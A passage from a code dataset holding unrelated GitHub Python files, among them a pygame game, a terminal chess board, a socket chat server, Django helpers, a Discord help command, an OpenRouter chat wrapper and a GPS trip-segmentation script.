self.bgrect = self.bg.get_rect()\r\n self.screen.blit(self.bg, self.bgrect)\r\n self.blocks.draw(screen)\r\n pygame.display.update()\r\n def Redraw(self):\r\n self.screen.blit(self.bg, self.bgrect)\r\n self.blocks.draw(self.screen)\r\n def LoadLevelData(self, filepath):\r\n infile = open(filepath)\r\n lines = infile.readlines()\r\n #self.rects = []\r\n self.leveldata = []\r\n for rawline in lines:\r\n line = []\r\n for character in rawline:\r\n if character == \"\\n\":\r\n pass\r\n else:\r\n line.append(character)\r\n self.leveldata.append(line)\r\n def DrawLevel(self):\r\n self.horcount = 0\r\n self.vercount = 0\r\n for line in self.leveldata:\r\n for item in line:\r\n if item == \"1\":\r\n self.AddBlock(self.horcount, self.vercount)\r\n elif item == \"0\":\r\n pass\r\n self.horcount = self.horcount+1\r\n self.vercount = self.vercount+1\r\n self.horcount = 0\r\n pygame.display.update()\r\n def AddBlock(self, posx, posy):\r\n posx = posx*24\r\n posy = posy*24\r\n block = Block((posx, posy))\r\n self.blocks.add(block)\r\n def GetBlocks(self):\r\n return self.blocks\r\n\r\n#class Drawing():\r\n# def __init__(self, blocks):\r\n# self.blocks = blocks\r\n# self.screen = pygame.display.get_surface()\r\n# self.bg = pygame.image.load(\"Harder background.jpg\").convert()\r\n# self.bgrect = self.bg.get_rect()\r\n# self.screen.blit(self.bg, self.bgrect)\r\n# self.blocks.draw(screen)\r\n# pygame.display.update()\r\n# def Redraw(self):\r\n# self.screen.blit(self.bg, self.bgrect)\r\n# self.blocks.draw(self.screen)\r\n\r\nclass Block(pygame.sprite.Sprite):\r\n def __init__(self, pos):\r\n pygame.sprite.Sprite.__init__(self)\r\n self.image = pygame.image.load(\"Block.png\")\r\n self.posx, self.posy = pos\r\n self.posx = self.posx\r\n self.posy = self.posy\r\n self.rect = self.image.get_rect()\r\n self.rect.x, self.rect.y = self.posx, self.posy\r\n self.screen = pygame.display.get_surface()\r\n self.screen.blit(self.image, self.rect)\r\n\r\nclass Character(pygame.sprite.Sprite):\r\n def __init__(self, pos, xmin, xmax, ymin, ymax, animframes, blocks):\r\n pygame.sprite.Sprite.__init__(self)\r\n self.image = pygame.image.load(\"Ball.png\")\r\n self.rect = self.image.get_rect()\r\n self.rect.x, self.rect.y = pos[0]*24, pos[1]*24\r\n self.screen = pygame.display.get_surface()\r\n self.xmin, self.ymin, self.xmax, self.ymax = xmin, ymin, xmax, ymax\r\n self.animframes = animframes\r\n self.direction = \"stop\"\r\n self.oldrect = self.rect\r\n self.blocks = blocks\r\n def KeyRespond(self, event):\r\n if event == None:\r\n pass\r\n if self.direction == \"stop\":\r\n if event.key == pygame.K_UP:\r\n self.direction = \"up\"\r\n elif event.key == pygame.K_DOWN:\r\n self.direction = \"down\"\r\n elif event.key == pygame.K_LEFT:\r\n self.direction = \"left\"\r\n elif event.key == pygame.K_RIGHT:\r\n self.direction = \"right\"\r\n def GetGridPos(self):\r\n if self.direction == \"up\":\r\n gridposx = (self.rect.x/24)\r\n gridposy = (self.rect.y/24)+1\r\n elif self.direction == \"down\":\r\n gridposx = (self.rect.x/24)\r\n gridposy = (self.rect.y/24)\r\n elif self.direction == \"left\":\r\n gridposx = (self.rect.x/24)+1\r\n gridposy = (self.rect.y/24)\r\n elif self.direction == \"right\":\r\n gridposx = (self.rect.x/24)\r\n gridposy = (self.rect.y/24)\r\n elif self.direction == \"stop\":\r\n gridposx = (self.rect.x/24)\r\n gridposy = (self.rect.y/24)\r\n return (gridposx, gridposy)\r\n def Update(self):\r\n self.gridpos = self.GetGridPos()\r\n collision = pygame.sprite.spritecollideany(self, self.blocks)\r\n if collision:\r\n self.oldrect = self.rect\r\n self.direction = \"stop\"\r\n self.rect.x = self.gridpos[0]*24\r\n self.rect.y = self.gridpos[1]*24\r\n pygame.display.update()\r\n if self.rect.x<self.xmin:\r\n self.direction = \"stop\"\r\n self.rect.x = self.xmin\r\n pygame.display.update()\r\n if self.rect.x>(self.xmax-self.rect.width):\r\n self.direction = \"stop\"\r\n self.rect.x = (self.xmax-self.rect.width)\r\n pygame.display.update()\r\n if self.rect.y<self.ymin:\r\n self.direction = \"stop\"\r\n self.rect.y = self.ymin\r\n pygame.display.update()\r\n if self.rect.y>(self.ymax-self.rect.height):\r\n self.direction = \"stop\"\r\n self.rect.y = (self.ymax-self.rect.height)\r\n pygame.display.update()\r\n if self.direction == \"stop\":\r\n self.Move([0,0])\r\n elif self.direction == \"up\":\r\n self.Move([0, -10])\r\n elif self.direction == \"down\":\r\n self.Move([0, 10])\r\n elif self.direction == \"left\":\r\n self.Move([-10, 0])\r\n elif self.direction == \"right\":\r\n self.Move([10, 0])\r\n self.Redraw()\r\n def Redraw(self):\r\n self.screen.blit(self.image, self.rect)\r\n pygame.display.update([self.rect, self.oldrect])\r\n def Move(self, amount):\r\n self.oldrect = self.rect\r\n self.rect = self.rect.move(amount)\r\n\r\npygame.init()\r\npygame.mixer.init()\r\nmusic = pygame.mixer.Sound(\"Main theme.ogg\")\r\nmusic.play(-1)\r\nscreen = pygame.display.set_mode((600, 480))\r\npygame.display.set_caption(\"ExeSoft Slipslide 2 -- Pre-alpha test\")\r\n#block1 = Block((13, 5))\r\n#block2 = Block((12, 17))\r\n#block3 = Block((1, 1))\r\n#block4 = Block((23, 18))\r\n#blocks = pygame.sprite.Group()\r\n#blocks.add([block1, block2, block3, block4])\r\nloader = Leveload(\"Harder test level.txt\")\r\nblocks = loader.GetBlocks()\r\ncharacter = Character((23, 1), 24, 576, 24, 456, [\"not\", \"implemented\", \"yet\"], blocks)\r\nblocks.draw(screen)\r\npygame.display.update()\r\nclock = pygame.time.Clock()\r\n#drawing = Drawing(blocks)\r\n\r\nwhile 1:\r\n clock.tick(60)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n music.stop()\r\n sys.exit()\r\n elif event.type == pygame.KEYDOWN:\r\n character.KeyRespond(event)\r\n loader.Redraw()\r\n character.Update()\r\n","repo_name":"animatinator/Slipslide-2","sub_path":"Demos and tests/Pre-alpha test.py","file_name":"Pre-alpha test.py","file_ext":"py","file_size_in_byte":7026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20224976803","text":"from __future__ import print_function\n\nfrom pieces import Pieces\nfrom termcolor import colored\n \n\nclass Board(object):\n\n def __init__(self):\n self.height = 8\n self.width = 8\n\n self.history = []\n self.pieces ={}\n self.position = list(range(self.height*self.width))\n self.key = list(range(self.height * self.width))\n value = list('x' for i in range(self.height * self.width))\n self.board_pieces = dict(zip(self.key, value))\n\n def init_board(self):\n # Put all the chess pieces into the board\n pieces = Pieces()\n self.pieces = pieces.return_exist_pieces()\n for key in self.pieces:\n if key in self.board_pieces:\n self.board_pieces[key] = self.pieces[key]\n\n def update_pieces(self, move_from, move_to):\n self.board_pieces[move_to] = self.board_pieces[move_from]\n self.board_pieces[move_from] = 'x'\n return self.board_pieces\n\n def return_exist_pieces(self):\n return self.board_pieces\n\n def graph_board(self,board_pieces):\n # Draw the board, red denotes black side, yellow denotes white side\n print(\" \", \"a\", \"b\",\"c\" , \"d\" ,\"e\" , \"f\" , \"g\" ,\"h\",\" \")\n print()\n\n for i in range(self.height,-1,-1):\n if i == 0:\n continue\n print(i,end=\" \")\n\n for j in range(self.width):\n if len(board_pieces[(i-1)*8+j]) == 2:\n if board_pieces[(i - 1) * 8 + j][1] is 'b':\n if j != 7:\n print(colored(board_pieces[(i-1)*8+j][0], 'red'),end=\" \")\n if j == 7:\n print(colored(board_pieces[(i-1)*8+j][0], 'red'), end=\" \")\n else:\n if j != 7:\n print(colored(board_pieces[(i-1)*8+j][0], 'yellow'),end=\" \")\n if j == 7:\n print(colored(board_pieces[(i-1)*8+j][0], 'yellow'), end=\" \")\n else:\n if j != 7:\n print(board_pieces[(i - 1) * 8 + j][0], end=\" \")\n if j == 7:\n print(board_pieces[(i - 1) * 8 + j][0], end=\" \")\n\n print(i)\n\n print()\n print(\" \", \"a\", \"b\",\"c\" , \"d\" ,\"e\" , \"f\" , \"g\" ,\"h\",\" \")\n\n def loc_to_move(self, location):\n move = 0\n column = {'a': 0, 'b': 1, 'c': 2, 'd': 3, 'e': 4, 'f': 5, 'g': 6, 'h': 7}\n x = location[0]\n y = int(location[1])\n move = (y-1) * 8 + column[x]\n return move\n\n def move_to_loc(self, move):\n re_column = {0:'a',1:'b',2:'c',3:'d',4:'e',5:'f',6:'g',7:'h'}\n x = re_column[move % 8]\n y = (move // 8) + 1\n return x+str(y)\n\n\nclass Play(object):\n\n def run(self):\n '''run the game'''\n board = Board()\n board.init_board()\n pieces = board.return_exist_pieces()\n board.graph_board(pieces)\n while True:\n #input_loc = input(\"Please choose the side you like to play as (w or b): \")\n input_loc = input(\"Please enter the coordinate of pieces:\")\n\n chosen_piece, from_loc, to_loc = input_loc.split(\",\")\n\n chosen_piece_loc= board.loc_to_move(from_loc)\n\n target_loc= board.loc_to_move(to_loc)\n\n pieces = board.update_pieces(chosen_piece_loc,target_loc)\n board.graph_board(pieces)\n\n\nif __name__ == '__main__':\n\n play = Play()\n play.run()\n\n","repo_name":"YOUNG34/alphaZero_with_superivsedLearning","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"29196925860","text":"\nmostTotal = 0\ntotal = 0\nall_sums = []\nwith open(\"input.txt\") as file:\n for row in file.read().strip().split(\"\\n\"):\n if row == \"\":\n # mostTotal = max(mostTotal, total)\n all_sums .append(total)\n total = 0\n else:\n total += int(row)\n\nin_order = sorted(all_sums, reverse=True)\nprint(sum(in_order[:3]))\n","repo_name":"smmathen/AdventOfCode2022","sub_path":"day1/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42557951358","text":"import socket\nimport argparse\nimport threading \n\nparser = argparse.ArgumentParser(description = \"This is the server for the multithreaded socket!\")\nparser.add_argument('--port', metavar = 'port', type = int, nargs = '?', default = 8080)\nargs = parser.parse_args()\n\ns = socket.socket()\n\nhost = socket.gethostname()\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\ns.bind((host, args.port))\ns.listen(20)\n\nprint(\"Waiting or connection..\")\n\n# Note:\n# Server: On New connection\n# >> Press Enter\n\ndef new_connection(client, connection):\n\tport = connection[1]\n\tprint(f\"New connection is made Client No: {port}!...\")\n\n\twhile True:\n\t\tmessage = input(str('>>'))\n\t\tmessage = message.encode('utf-8')\n\t\tclient.send(message)\n\t\tprint(\"Message sent....\")\n\n\t\tmessage = client.recv(1024)\n\t\tif message.decode() == 'exit':\n\t\t\tprint(f\"The Client No: {port}, has gracefully Diconnected! {message.decode('utf-8')}\")\n\t\t\tbreak\n\n\t\tprint(f\"Client[{port}]: {message.decode('utf-8')}\")\n\nwhile True:\n\ttry:\n\t\tclient, addr = s.accept()\n\t\tthreading._start_new_thread(new_connection,(client, addr))\n\texcept KeyboardInterrupt:\n\t\tprint(f\"Gracefully shutting down the server!\")\n\texcept Exception as e:\n\t\tprint(f\"Well I did not anticipate this.\")\n\ns.close()\n","repo_name":"shoaibmalek21/CLI-Chat-Interface","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43154082318","text":"from django import template\nfrom django.utils.safestring import mark_safe\n\nregister = template.Library()\n\n@register.simple_tag\ndef format_dates(start, end, multiline=False):\n if multiline == \"true\":\n multiline = True\n\n if start.date() == end.date():\n date_format = \"%A %b %d\"\n time_format = \"%I:%M%p\"\n # Tuesday Jan 2, 1:00PM–4:00PM\n template_string = \"{date}, {start_time} – {end_time}\"\n if multiline:\n template_string = \"{date}<br>{start_time} – {end_time}\"\n return mark_safe(template_string.format(\n date=start.date().strftime(date_format),\n start_time=start.time().strftime(time_format).lower(),\n end_time=end.time().strftime(time_format).lower()\n ))\n\n elif (end.date() - start.date()).seconds <= 24*60*60:\n # If less than 24 hours difference:\n date_format = \"%A %b %d\"\n time_format = \"%I:%M%p\"\n\n # Tuesday Jan 2, 10:00PM – Wednesday Jan 3, 11:00PM\n template_string = \"{start_date}, {start_time} – {end_date}, {end_time}\"\n if multiline:\n template_string = \"{start_date}, {start_time}<br>{end_date}, {end_time}\"\n return mark_safe(template_string.format(\n start_date=start.date().strftime(date_format),\n start_time=start.time().strftime(time_format).lower(),\n end_date=end.date().strftime(date_format),\n end_time=end.time().strftime(time_format).lower(),\n ))\n\n else:\n # If more than 24 hours difference:\n date_format = \"%A %b %d, %Y\"\n\n # Tuesday Jan 2, 2018 – Saturday Jan 6, 2018\n template_string = \"{start_date} – {end_date}\"\n if multiline:\n template_string = \"{start_date}<br>{end_date}\"\n return mark_safe(template_string.format(\n start_date=start.date().strftime(date_format),\n end_date=end.date().strftime(date_format),\n ))\n","repo_name":"danielzsandberg/django_site","sub_path":"core/templatetags/liberationphilly.py","file_name":"liberationphilly.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21390435438","text":"from django.conf.urls.defaults import *\nfrom noan.repository.views import log_out\n# Enable the admin interface:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Repository\n (r'^$', 'django.views.generic.simple.redirect_to', {'url': '/repository/'}),\n (r'^repository/', include('noan.repository.urls')),\n\n # Enable the admin interface:\n (r'^admin/doc/', include('django.contrib.admindocs.urls')),\n (r'^admin/(.*)', admin.site.root),\n #login\n (r'^login/$', 'django.contrib.auth.views.login', {'template_name': 'registration/login.html'}),\n # logout\n (r'^logout/$',log_out),\n)\n","repo_name":"pisilinux/uludag","sub_path":"trunk/playground/intern/2009/noan/noan/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"25746761455","text":"#-*- encoding:utf-8 -*-\n__author__ = ''\nimport lxml.html\nfrom lxml import etree\n\n\nhtml = \"<book>\\\n <author>Tom <em>John</em> cat</author>\\\n <pricing>\\\n abc \\\n <price>20</price>\\\n <discount>0.8</discount>\\\n </pricing>\\\n</book>\"\n\nselector = etree.HTML(html)\ncont = selector.xpath('//pricing/strint(.)')\n#cont = cont.xpath('string(.)')\ncont = str(cont)\nprint(type(cont))\nprint(cont)\n\n\n\n","repo_name":"qingyunpkdd/pylib","sub_path":"coral/tem.py","file_name":"tem.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"847209540","text":"import discord\r\nfrom discord.ext import commands\r\n\r\nclass HelpCommand(commands.HelpCommand):\r\n color = 0x1FE0B3\r\n\r\n def footer(self):\r\n return f\"{self.clean_prefix}{self.invoked_with} [command] for more information.\"\r\n \r\n def get_command_signature(self, command):\r\n return f\"```{self.clean_prefix}{command.qualified_name} {command.signature}```\"\r\n \r\n async def send_cog_help(self, cog):\r\n e = discord.Embed(title = f\"**{cog.qualified_name}** Commands\", color = self.color)\r\n\r\n if cog.description:\r\n e.description = cog.description\r\n \r\n filtered = await self.filter_commands(cog.get_commands(), sort = True)\r\n\r\n for command in filtered:\r\n e.add_field(name = command.qualified_name, value = command.short_doc or \"No description\")\r\n \r\n e.set_footer(text = self.footer())\r\n await self.get_destination().send(embed = e)\r\n \r\n async def send_command_help(self, command):\r\n e = discord.Embed(title = command.qualified_name, color = self.color)\r\n\r\n if command.help:\r\n e.description = command.help\r\n \r\n e.add_field(name = \"Signature\", value = self.get_command_signature(command))\r\n e.set_footer(text = self.footer())\r\n\r\n await self.get_destination().send(embed = e)\r\n \r\n async def send_bot_help(self, mapping):\r\n e = discord.Embed(title = \"Bot commands\", color = self.color)\r\n description = self.context.bot.description\r\n if description:\r\n e.description = description\r\n \r\n for cog, commands in mapping.items():\r\n if not cog:\r\n continue\r\n\r\n filtered = await self.filter_commands(commands, sort = True)\r\n\r\n if filtered:\r\n value = \"\\t\".join(f\"`{i.name}`\" for i in commands)\r\n e.add_field(name = cog.qualified_name, value = value)\r\n \r\n e.set_footer(text = self.footer())\r\n await self.get_destination().send(embed = e)\r\n\r\ndef setup(bot : commands.Bot):\r\n bot.help_command = HelpCommand()","repo_name":"R3M099/CoolBot","sub_path":"cogs/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"3173685571","text":"import openai\nimport reviver.log\nfrom dataclasses import dataclass\nfrom reviver.bot import Bot\nfrom queue import Queue\nfrom threading import Thread\nimport time\nfrom PySide6.QtCore import QObject, Signal\nfrom os import getenv\nfrom reviver.message import Message\n\nlog = reviver.log.get(__name__)\n\n@dataclass(frozen=False, slots=True)\nclass Conversation:\n bot: Bot \n title: str = \"untitled\"\n messages: dict = None\n\n\n def __post_init__(self):\n if self.messages is None:\n self.messages = {}\n \n # Note this will override a previous system prompt if the bot or bot prompt have changed\n self.update_system_prompt()\n\n def update_system_prompt(self): # , refresh_conversation:Signal=None): \n if 0 in self.messages.keys():\n log.info(f\"Updating system prompt for {self.title}\")\n prompt_message_time = self.messages[0].time\n else:\n prompt_message_time = None # message will default to current time\n\n prompt_message = Message(role = \"system\", content=self.bot.system_prompt, time=prompt_message_time)\n self.messages[0] = prompt_message\n \n def _add_message(self, msg:Message)->None:\n self.messages[self.message_count] = msg\n \n def add_user_message(self, content:str, message_added:Signal=None):\n new_message =Message(role=\"user\", content=content)\n self._add_message(new_message)\n if message_added is not None:\n log.info(\"Signalling the new message has been added...\")\n message_added.emit(new_message._id,new_message.role, new_message.content)\n\n @property\n def last_update(self):\n return self.messages[self.message_count-1].time\n \n @property\n def message_count(self):\n count = len(self.messages.keys())\n return count\n\n\n @property\n def messages_prompt(self):\n \"\"\"\n This will return the conversation data in the format that is expected by the model\n \"\"\"\n\n message_history = [] \n for index, msg in self.messages.items():\n role_content = {\"role\":msg.role, \"content\":msg.content}\n message_history.append(role_content)\n return message_history\n\n @property\n def token_size(self):\n size = 0\n for index, msg in self.messages.items():\n size+=msg.token_size\n return size\n \n \n \n def generate_reply(self, out_q:Queue=None, message_added:Signal=None, message_updated:Signal=None, message_complete:Signal=None):\n \"\"\"\n call to API and get next message\n message is added to self.messages\n if out_q is provided, then message is passed along on it in addition to being added\n \"\"\"\n\n def worker():\n # Set the base API URL and your OpenRouter API key\n openai.api_base = \"https://openrouter.ai/api/v1\"\n openai.api_key = getenv(\"OPEN_ROUTER_API_KEY\")\n\n # Set the headers to identify your app\n headers = {\n \"HTTP-Referer\": \"https://github.com/mprib/reviver\", # Replace with your actual site URL\n \"X-Title\": \"Festival Cobra\", # Replace with your actual app name\n }\n\n log.info(f\"pinging server with message: {self.messages[self.message_count-1]}\")\n \n response_stream = openai.ChatCompletion.create(\n model=self.bot.model, \n messages=self.messages_prompt,\n headers=headers,\n temperature = self.bot.temperature,\n max_tokens = self.bot.max_tokens,\n top_p=self.bot.top_p,\n frequency_penalty=self.bot.frequency_penalty,\n presence_penalty=self.bot.presence_penalty,\n stream=True\n )\n\n # create a new empty message\n new_message = Message(role=\"assistant\", content=\"\")\n self._add_message(new_message)\n if message_added is not None:\n message_added.emit(new_message._id,new_message.role, new_message.content)\n\n reply = \"\"\n response_count = 0\n for response in response_stream:\n response_count +=1 \n if hasattr(response, \"choices\"):\n if \"delta\" in response.choices[0].keys():\n delta = response.choices[0][\"delta\"]\n if delta != {}:\n new_word = response.choices[0][\"delta\"][\"content\"]\n reply += new_word\n new_message.content = reply\n time.sleep(.05)\n if message_updated is not None:\n message_updated.emit(new_message._id, new_message.role, new_message.content)\n\n # below is a quick-and-dirty solution to incorporate the weird output of gpt turbo instruct\n if \"text\" in response.choices[0].keys():\n new_word =response.choices[0][\"text\"]\n reply += new_word\n new_message.content = reply\n time.sleep(.05)\n if message_updated is not None:\n message_updated.emit(new_message._id, new_message.role, new_message.content)\n\n new_message.content = reply \n log.info(f\"New reply is {reply}\")\n if message_complete is not None:\n message_complete.emit()\n\n # currently used primarily for testing...might be useful elsewhere\n if out_q is not None:\n out_q.put(new_message)\n\n if response_count == 0:\n log.info(\"No response\") \n\n thread = Thread(target=worker,args=[],daemon=True )\n thread.start()\n\n \n\n def __eq__(self, other):\n \"\"\"\n needed to validate test assertion...and debug archive issues.\n \"\"\"\n if isinstance(other, Conversation):\n bots_equal = self.bot == other.bot\n log.info(f\"Bots equal?:{bots_equal}\")\n titles_equal = self.title == other.title\n log.info(f\"titles equal?:{titles_equal}\")\n messages_equal = self.messages == other.messages\n log.info(f\"Messages equal?:{messages_equal}\")\n equality = bots_equal and titles_equal and messages_equal\n log.info(f\"Equal?:{equality}\")\n return equality\n return False\n \n \n","repo_name":"mprib/reviver","sub_path":"reviver/conversation.py","file_name":"conversation.py","file_ext":"py","file_size_in_byte":6577,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"42703501943","text":"from collections import namedtuple\nfrom datetime import datetime, timedelta\nimport csv\nimport statistics\nimport os, errno\nfrom decimal import Decimal\nimport time\nimport math\nimport numpy as np\nimport sys\nimport numpy as np\nimport shutil\nimport re\nfrom utils import *\nimport atexit\n\n\"\"\" GLOBAL VARIABLES \"\"\"\ndirectory = os.getcwd()\nanalysis_output = os.path.join(directory, 'analysis_output')\ndata_raw = os.path.join(directory, 'data_raw')\n\n\n\"\"\" FILTERING \"\"\"\ndef filtering_and_timestamp_generation(data_file, filtered, filter, bounding_box):\n \"\"\"\n ===================================\n - for each probe_id, obtain list of timestamps, speeds, locations, \n and headings (\"info\") and add to all_timestamps dictionary\n - remove all rows with same probe_id and sample time\n - write to bounding_box and filtered files\n ===================================\n\n :param data_file: source file (raw / filtered)\n :param filtered: filtered file path\n :param filter: filter for data provider\n :param bounding_box: bounding_box file path\n :return: a dictionary mapping each probe_id to its Probes in the form\n all_timestamps[id] = Probes(provider, [(timestamp1, speed1, location1, heading1),\n (timestamp2, speed2, location2, heading2), ...])\n \"\"\"\n\n Probes = namedtuple('Probes', ['provider', 'info'])\n all_timestamps = {}\n progress = 0\n\n if data_file != filtered:\n # Set booleans to see if bounding_box file needs to be generated\n # If bounding_box already exists, use it instead of the raw data file\n if is_not_empty(bounding_box):\n input_file = bounding_box\n create_bounding_box = False\n else:\n input_file = data_file\n create_bounding_box = True\n dfile2 = open(bounding_box, 'w')\n bounding_box_writer = csv.DictWriter(dfile2, delimiter=',', lineterminator='\\n',\n fieldnames=['PROBE_ID', 'SAMPLE_DATE', 'LAT', 'LON', 'HEADING', 'SPEED',\n 'PROBE_DATA_PROVIDER']) \n bounding_box_writer.writeheader()\n\n with open(input_file, 'r') as dfile, open(filtered,'w') as dfile1: \n print('Filtering file [', end='', flush=True)\n reader = csv.DictReader(dfile)\n filtered_writer = csv.DictWriter(dfile1, delimiter=',', lineterminator='\\n',\n fieldnames=['PROBE_ID', 'SAMPLE_DATE', 'LAT', 'LON', 'HEADING', 'SPEED',\n 'PROBE_DATA_PROVIDER']) \n filtered_writer.writeheader()\n seen = set()\n for row in reader:\n id = row['PROBE_ID']\n lat = row['LAT']\n lon = row['LON']\n timestamp = datetime.strptime(row['SAMPLE_DATE'], '%Y-%m-%d %H:%M:%S')\n heading = row['HEADING']\n speed = row['SPEED']\n provider = row['PROBE_DATA_PROVIDER']\n location = [float(lat), float(lon)]\n\n def write_to_file(writer):\n row = {}\n row['PROBE_ID'] = id\n row['SAMPLE_DATE'] = timestamp\n row['LAT'] = lat\n row['LON'] = lon\n row['HEADING'] = heading\n row['PROBE_DATA_PROVIDER'] = provider\n row['SPEED'] = speed\n writer.writerow(row)\n\n if not within_bounding_box(lat, lon):\n continue\n if create_bounding_box:\n write_to_file(bounding_box_writer)\n if (id, timestamp, lat, lon) in seen:\n continue\n if is_empty_string(id, lat, lon):\n continue\n if filter(provider):\n seen.add((id, timestamp, lat, lon))\n write_to_file(filtered_writer)\n if id not in all_timestamps:\n all_timestamps[id] = Probes(provider, [(timestamp, speed, location, heading)])\n else:\n all_timestamps[id].info.append((timestamp, speed, location, heading))\n\n if progress % 10000 == 0:\n print('=', end='', flush=True)\n if progress > 10000000:\n print(\"File is too large: stopping...\")\n break\n progress += 1\n print(']')\n else:\n # Use filtered file if it already exists\n with open(data_file, 'r') as dfile:\n print('Loading files [', end='', flush=True)\n reader = csv.DictReader(dfile)\n for row in reader:\n id = row['PROBE_ID']\n lat = row['LAT']\n lon = row['LON']\n heading = row['HEADING']\n speed = row['SPEED']\n timestamp = datetime.strptime(row['SAMPLE_DATE'], '%Y-%m-%d %H:%M:%S')\n provider = row['PROBE_DATA_PROVIDER']\n location = [float(lat), float(lon)]\n if id not in all_timestamps:\n all_timestamps[id] = Probes(provider, [(timestamp, speed, location, heading)])\n else:\n all_timestamps[id].info.append((timestamp, speed, location, heading))\n if progress % 10000 == 0:\n print('=', end='', flush=True)\n if progress > 10000000:\n print(\"File is too large: stopping...\")\n break\n progress += 1\n print(']')\n return all_timestamps\n\n\ndef tripsegmentation(all_timestamps, minSIZE, maxGAP, min_trip_duration, min_trip_distance, filedate,\n provider):\n \"\"\"\n ==========================================================\n Segment each probe's timestamps into trips by\n making sure the time delta in each trip is\n smaller than or equal to the predetermined maxGAP\n\n If a trip has number of timedelta < minSIZE, we get\n rid of the trip. Otherwise, we count it as a raw trip.\n\n Check whether a trip has a valid distance (> some min dist),\n and valid duration, if a trip satisfy all\n requirements, it is a qualified trip.\n ===========================================================\n\n :param all_timestamps: return value from initial filtering process (a dictionary mapping probe_id to probe)\n :param minSIZE: the minimum number of timestamps needed to define a trip\n :param maxGAP: the maximum separation between consecutive timestamps within each trip made by each probe id\n :param min_trip_duration: minimum number of seconds for a trip to be considered valid\n :param min_trip_distance: minimum distance traveled in feet for a trip to be considered valid\n :return: a dictionary mapping each probe_id to AllTrips(Probes.provider, trips,\n raw_trips, min(deltas_list), max(deltas_list), mean, median)\n \"\"\"\n\n AllTrips = namedtuple('AllTrips', ['provider', 'trips', 'raw_trips', 'min', 'max', 'mean', 'median'])\n Trip = namedtuple('Trip', ['probe_id', 'provider', 'start_time', 'end_time', 'size', 'median_speed', 'med_speed_without_zero',\n 'data', 'distance', 'sample_rate'])\n all_probes = {}\n raw_trip_count = 0\n trip_count = 0\n\n for id, Probes in all_timestamps.items():\n # for each probe_id, sort by timestamps\n Probes.info.sort(key=lambda x: x[0])\n tripSIZE = 0\n trip_start = 0\n\n trips = [] # list of trips for each probe id\n raw_trips = [] # list of all trips right after segmentation that has size >= minSIZE\n probe_deltas = [] # list of deltas which are <= maxGAP for each probe_id\n trip_deltas = [] # list of deltas in filtered trip\n raw_trip_deltas = [] # list of deltas in raw_trip\n speeds = [] # list of speeds in a trip\n data = [] # STRUCTURE: data = [[timestamp0, speed0, location0, heading0], ... ]\n\n # For removing points with too high distance for timedelta traveled\n earlier_delta = 0\n previous_fixed_point = None # tuple (location, tdelta)\n\n # Iterate through sorted list of timestamps for one probe\n for i in range(1, len(Probes.info)):\n current_time, current_speed, current_location, current_heading = Probes.info[i][0], float(Probes.info[i][1]), Probes.info[i][2], float(Probes.info[i][3])\n previous_time, previous_speed, previous_location, previous_heading = Probes.info[i - 1][0], float(Probes.info[i-1][1]), Probes.info[i-1][2], float(Probes.info[i-1][3])\n # take time difference (expressed in seconds) to see whether we need to restart trip\n tdelta = (current_time - previous_time).total_seconds()\n\n if tripSIZE == 0:\n trip_start = previous_time\n previous_fixed_point = (previous_location, tdelta)\n\n if tdelta == 0:\n if previous_fixed_point != None and len(data) != 0:\n distance_prev = real_distance(previous_location, previous_fixed_point[0])\n distance_curr = real_distance(previous_fixed_point[0], current_location)\n if distance_prev/previous_fixed_point[1] > 200 and distance_curr/previous_fixed_point[1] > 200:\n speeds.pop(-1)\n data.pop(-1)\n tripSIZE -= 1\n earlier_delta = trip_deltas.pop(-1)\n elif distance_prev/previous_fixed_point[1] > 200 and distance_curr/previous_fixed_point[1] <= 200:\n speeds.pop(-1)\n data.pop(-1)\n earlier_delta = trip_deltas.pop(-1)\n\n trip_deltas.append(tdelta+earlier_delta)\n speeds.append(current_speed)\n data.append(\n [current_time, current_speed, current_location, current_heading])\n continue\n\n if earlier_delta != 0:\n tdelta += earlier_delta\n earlier_delta = 0\n\n # Keep building trip if tdelta is small enough\n if tdelta <= maxGAP:\n trip_deltas.append(tdelta)\n speeds.append(current_speed)\n data.append(\n [current_time, current_speed, current_location, current_heading])\n tripSIZE += 1\n # End trip\n if tdelta > maxGAP or (i == len(Probes.info) - 1 and tripSIZE != 0):\n if tripSIZE >= minSIZE: # discard all short trips with sizes < minSIZE\n med_speed = round(percentile(50, speeds), 3)\n non_zero_speeds = [s for s in speeds if s > 0]\n if len(non_zero_speeds) == 0:\n med_speed_without_zero = 0\n else:\n med_speed_without_zero = round(percentile(50, non_zero_speeds), 3)\n median_delta = float(statistics.median(trip_deltas))\n sample_rate = 60.0 / median_delta\n distance = distance_traveled(speeds, trip_deltas)\n # if we are at the very last point for this probe, we need to force the\n # end time to be the current probe, not the index - 1 probe.\n if i == len(Probes.info) - 1:\n i += 1\n trip = Trip(probe_id=id, start_time=trip_start, end_time=Probes.info[i - 1][0],\n size=tripSIZE, median_speed=med_speed, med_speed_without_zero=med_speed_without_zero, \n data=data, distance=distance, provider=Probes.provider, sample_rate=sample_rate)\n # Always add to raw_trips\n raw_trips.append(trip)\n raw_trip_count += 